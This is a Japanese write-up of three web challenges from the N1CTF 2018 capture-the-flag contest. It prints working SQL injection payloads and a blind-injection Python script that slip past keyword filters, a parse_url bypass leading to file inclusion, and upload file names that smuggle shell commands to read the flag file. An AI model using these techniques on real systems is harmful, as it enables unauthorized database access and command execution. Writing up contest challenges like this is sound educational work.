チーム Harekaze で N1CTF 2018 に参加しました。最終的にチームで 1158 点を獲得し、順位は得点 517 チーム中 45 位でした。うち、私は 3 問を解いて 728 点を入れました。
以下、解いた問題の write-up です。
“77777” is my girlfriend’s nickname,have fun xdd:)
hk node: http://47.75.14.48
cn node: http://47.97.168.223
(Two challenge servers are identical, use either of them.)
与えられた URL にアクセスすると、以下のようにソースコードの一部と環境の情報が得られました。
<?php
function update_point($p,$points){
global $link;
$q = sprintf("UPDATE users SET points=%d%s",
$p,waf($points));
return TRUE;
}
if (!update_point($_POST['flag'],$_POST['hi']))
echo 'sorry';
$ apt-get install php7.0
$ PHP Version 7.0.22-0ubuntu0.16.04.1
$ apt-get install mysql-server
$ apt-get install mysql-client
$ apt-get install php7.0-mysql
$ apt-get install libapache2-mod-php
update_point
で SQLi ができそうですが、waf
という関数が気になります。いろいろ試していると、これによって in
のような文字列が含まれた場合に弾かれることが分かりました。
points
以外のカラム名を調べようにも、in
が禁止されているので information_schema.columns
を参照することができません。が、Advent Calendar CTF 2014 の otp のように union
を使うことで、カラム名を知らずとも users
のレコードを読み出すことができそうです。
conv
と substr
で 4 文字ずつパスワードを抜き出すと、フラグが得られました。
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 1, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points
<h4><i class="icon-trophy"></i> My Points</h4>
<p class="sm">
<grey>My Points</grey> | -858548325<br/>
<grey>Designer of the Year</grey> | 2018.<br/>
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 5, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points
<h4><i class="icon-trophy"></i> My Points</h4>
<p class="sm">
<grey>My Points</grey> | -1819045731<br/>
<grey>Designer of the Year</grey> | 2018.<br/>
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 9, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points
<h4><i class="icon-trophy"></i> My Points</h4>
<p class="sm">
<grey>My Points</grey> | -1952867698<br/>
<grey>Designer of the Year</grey> | 2018.<br/>
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 13, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points
<h4><i class="icon-trophy"></i> My Points</h4>
<p class="sm">
<grey>My Points</grey> | -842216243<br/>
<grey>Designer of the Year</grey> | 2018.<br/>
$ curl -g "http://47.75.14.48/" -d "flag=hogefuga&hi=-(conv(hex((select substr(group_concat(c), 17, 4) from (select 1 a, 2 b, 3 c, 4 d union select * from users) x)), 16, 10))" 2>/dev/null | grep -1 Points
<h4><i class="icon-trophy"></i> My Points</h4>
<p class="sm">
<grey>My Points</grey> | -51<br/>
<grey>Designer of the Year</grey> | 2018.<br/>
N1CTF{helloctfer23333}
Contestants won’t influence each other while solving the challenge.
http://47.52.137.90:20000
77777 とほとんど同じようですが、どうやらフィルターが厳しくなったようです。調べると、以下のような文字列が使えないことが分かりました。
in union concat or where count 2 3 4 5 9 0x limit as j <
in
が禁止されているので join
や having
も使うことができません。また、今回は union
が禁止されてしまったので先ほどの解法は使えません。
この状態でも、行サブクエリを使って複数のカラムを比較することで (こちらの説明にあるように左のカラムから順番に比較されることを利用して) Blind SQLi の要領でレコードを読み出すことができそうです。
具体的な方法を考えていきます。users
には 4 つのカラムが存在しているので、--((1, 0x56, 0, 0) > (select * from users))
のようにして users
のレコードと比較することができます。この結果は false だったので、2 番目のカラムの 1 文字目の文字コードは V
以下であると分かります。0x56
を 0x57
に変えると結果が true になったので、2 番目のカラムの 1 文字目は V
であると分かります。
まず、以下のコードでユーザ名が VENENO_ADMIN
であると分かりました。
import requests
def check(s):
assert 'hacker' not in s
return '469' in s
def encode_int(x):
res = []
for i, c in enumerate(str(x)[::-1]):
if c != '0':
res.append('%d*(%s)' % (10 ** i, '+1' * int(c)))
return '(' + ')+('.join(res) + ')'
def encode(s):
res = []
for c in s:
c = ord(c)
if any(d in '23459' for d in str(c)):
res.append(encode_int(c))
else:
res.append(str(c))
return 'char(' + ','.join(res) + ')'
def get_query(res, c, x=None):
return "--if((select (1, %s, 0, 0) > (select * from (select * from users) x)),8*8*7+8+7+6,8*8*7+6+6+7)" % (encode((res + chr(c)).ljust(100, '~')))
url = 'http://47.52.137.90:20000/'
res = ''
while True:
high = 0x7e
low = -1
while abs(high - low) > 1:
mid = (high + low) // 2
c = requests.post(url, data={
'flag': 'hogefuga',
'hi': get_query(res, mid)
})
if check(c.content):
high = mid
else:
low = mid
res += chr(high)
print repr(res)
return "--if((select (1, %s, 0, 0) > (select * from (select * from users) x)),8*8*7+8+7+6,8*8*7+6+6+7)" % (encode((res + chr(c)).ljust(100, '~')))
を return "--if((select (1, %s, (%s), 1000000000000) > (select * from (select * from users) x)),8*8*7+8+7+6,8*8*7+6+6+7)" % (encode('VENENO_ADMIN'), encode((res + chr(c)).ljust(100, '~')))
に置き換えるとフラグが得られました。
$ python2 solve.py
'H'
'HA'
'HAH'
'HAHA'
'HAHAH'
'HAHAH7'
'HAHAH77'
'HAHAH777'
'HAHAH777A'
'HAHAH777A7'
'HAHAH777A7A'
'HAHAH777A7AH'
'HAHAH777A7AHA'
'HAHAH777A7AHA7'
'HAHAH777A7AHA77'
'HAHAH777A7AHA777'
'HAHAH777A7AHA7777'
'HAHAH777A7AHA77777'
'HAHAH777A7AHA77777A'
'HAHAH777A7AHA77777AA'
'HAHAH777A7AHA77777AAA'
'HAHAH777A7AHA77777AAAA'
N1CTF{hahah777a7aha77777aaaa}
a strange online reservation system for restaurants,please hacking it
http://47.52.152.93:20000/
http://47.52.152.93:23333/
いろいろ試していると、user.php
で /user.php?page=php://filter/convert.base64-encode/resource=guest
のように LFI ができることが分かりました。これを使ってサービスのソースコードを手に入れます。
index.php
<?php
require_once "function.php";
if(isset($_SESSION['login'] )){
Header("Location: user.php?page=info");
}
else{
include "templates/index.html";
}
?>
user.php
<?php
require_once("function.php");
if( !isset( $_SESSION['user'] )){
Header("Location: index.php");
}
if($_SESSION['isadmin'] === '1'){
$oper_you_can_do = $OPERATE_admin;
}else{
$oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if($_SESSION['isadmin'] === '1'){
if(!isset($_GET['page']) || $_GET['page'] === ''){
$page = 'info';
}else {
$page = $_GET['page'];
}
}
else{
if(!isset($_GET['page'])|| $_GET['page'] === ''){
$page = 'guest';
}else {
$page = $_GET['page'];
if($page === 'info')
{
// echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
Header("Location: user.php?page=guest");
}
}
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
// $page = 'info';
//}
include "$page.php";
?>
function.php
<?php
session_start();
require_once "config.php";
function Hacker()
{
Header("Location: hacker.php");
die();
}
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function filter_directory_guest()
{
$keywords = ["flag","manage","ffffllllaaaaggg","info"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
function Filter($string)
{
global $mysqli;
$blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
$whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
for ($i = 0; $i < strlen($string); $i++) {
if (strpos("$whitelist", $string[$i]) === false) {
Hacker();
}
}
if (preg_match("/$blacklist/is", $string)) {
Hacker();
}
if (is_string($string)) {
return $mysqli->real_escape_string($string);
} else {
return "";
}
}
function sql_query($sql_query)
{
global $mysqli;
$res = $mysqli->query($sql_query);
return $res;
}
function login($user, $pass)
{
$user = Filter($user);
$pass = md5($pass);
$sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
$res = sql_query($sql);
// var_dump($res);
// die();
if ($res->num_rows) {
$data = $res->fetch_array();
$_SESSION['user'] = $data[username_which_you_do_not_know];
$_SESSION['login'] = 1;
$_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
return true;
} else {
return false;
}
return;
}
function updateadmin($level,$user)
{
$user = Filter($user);
$sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
$res = sql_query($sql);
// var_dump($res);
// die();
// die($res);
if ($res == 1) {
return true;
} else {
return false;
}
return;
}
function register($user, $pass)
{
global $mysqli;
$user = Filter($user);
$pass = md5($pass);
$sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
$res = sql_query($sql);
return $mysqli->insert_id;
}
function logout()
{
session_destroy();
Header("Location: index.php");
}
?>
filter_directory
では以下のようにして URL のパラメータに特定の文字列が含まれていないか確認しています。
function filter_directory()
{
$keywords = ["flag","manage","ffffllllaaaaggg"];
$uri = parse_url($_SERVER["REQUEST_URI"]);
parse_str($uri['query'], $query);
// var_dump($query);
// die();
foreach($keywords as $token)
{
foreach($query as $k => $v)
{
if (stristr($k, $token))
hacker();
if (stristr($v, $token))
hacker();
}
}
}
parse_url
が失敗すれば返り値は false
になるため、その後のチェックをすり抜けることができます。///user.php?page=ffffllllaaaaggg
のようにすると parse_url
を失敗させ、ffffllllaaaaggg.php
を include
させることができました。
you can find sth in m4aaannngggeee
/user.php?page=m4aaannngggeee
にアクセスすると、ファイルがアップロードできるページが表示されました。LFI を使ってアップロード先の upllloadddd.php
のソースコードを取得してみます。
<?php
$allowtype = array("gif","png","jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can not move");
}
}else{
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "<img src='data:image/png;base64,".$picdata."'></img>";
if($_FILES['file']['error']>0){
unlink($newfile);
die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
unlink($newfile);
}
?>
system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
でファイル名をそのまま OS コマンドに挿入して実行しています。
;ls -l .. #.jpg
というファイルをアップロードすると、以下のような結果になりました。
total 80
drwxr-xr-x 10 root root 4096 Mar 10 21:13 app
drwxr-xr-x 2 root root 4096 Mar 10 13:07 bin
drwxr-xr-x 2 root root 4096 Apr 10 2014 boot
drwxr-xr-x 3 root root 4096 Oct 15 2015 data
drwxr-xr-x 5 root root 340 Mar 10 13:17 dev
drwxr-xr-x 122 root root 4096 Mar 10 13:17 etc
-r--r--r-- 1 root root 40 Mar 10 13:08 flag_233333
drwxr-xr-x 3 root root 4096 Mar 10 13:17 home
drwxr-xr-x 14 root root 4096 Jul 8 2015 lib
drwxr-xr-x 2 root root 4096 Jun 12 2015 lib64
drwxr-xr-x 2 root root 4096 Jun 12 2015 media
drwxr-xr-x 2 root root 4096 Apr 10 2014 mnt
drwxr-xr-x 2 root root 4096 Jun 12 2015 opt
dr-xr-xr-x 238 root root 0 Mar 10 13:17 proc
drwx------ 2 root root 4096 Mar 11 01:04 root
drwxr-xr-x 20 root root 4096 Mar 10 13:17 run
-rwxr-xr-x 1 root root 781 Mar 10 13:04 run.sh
drwxr-xr-x 2 root root 4096 Jun 12 2015 sbin
drwxr-xr-x 2 root root 4096 Jun 12 2015 srv
dr-xr-xr-x 13 root root 0 Mar 10 03:39 sys
drwxrwxrwt 4 root root 4096 Mar 11 06:36 tmp
drwxr-xr-x 31 root root 4096 Mar 10 13:07 usr
drwxr-xr-x 44 root root 4096 Mar 11 06:25 var
;cd ..; cat flag_233333 #.jpg
をアップロードするとフラグが得られました。
file upload success<br />;cd ..; cat flag_233333 #.jpgN1CTF{1d0ab6949bed0ecf014b087e7282c0da}
<img src='data:image/png;base64,N1CTF{1d0ab6949bed0ecf014b087e7282c0da}'></img>
N1CTF{1d0ab6949bed0ecf014b087e7282c0da}